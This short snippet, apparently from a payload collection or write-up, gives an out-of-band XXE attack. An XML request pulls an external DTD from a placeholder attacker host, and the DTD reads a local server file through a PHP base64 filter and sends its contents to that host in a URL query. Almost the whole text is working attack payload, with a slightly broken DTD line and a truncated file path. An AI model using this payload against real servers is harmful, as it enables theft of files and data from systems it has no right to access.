<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM
"http://<LHOST>/<FILE>.dtd">%<NAME>;]>
<root>
<method>GET</method>
<uri>/</uri>
<user>
<username><NAME>;</username>
<password><NAME></password>
</user>
</root>
```

### Content of .dtd

```
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/e"
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>">
%eval;
%exfiltrate;
```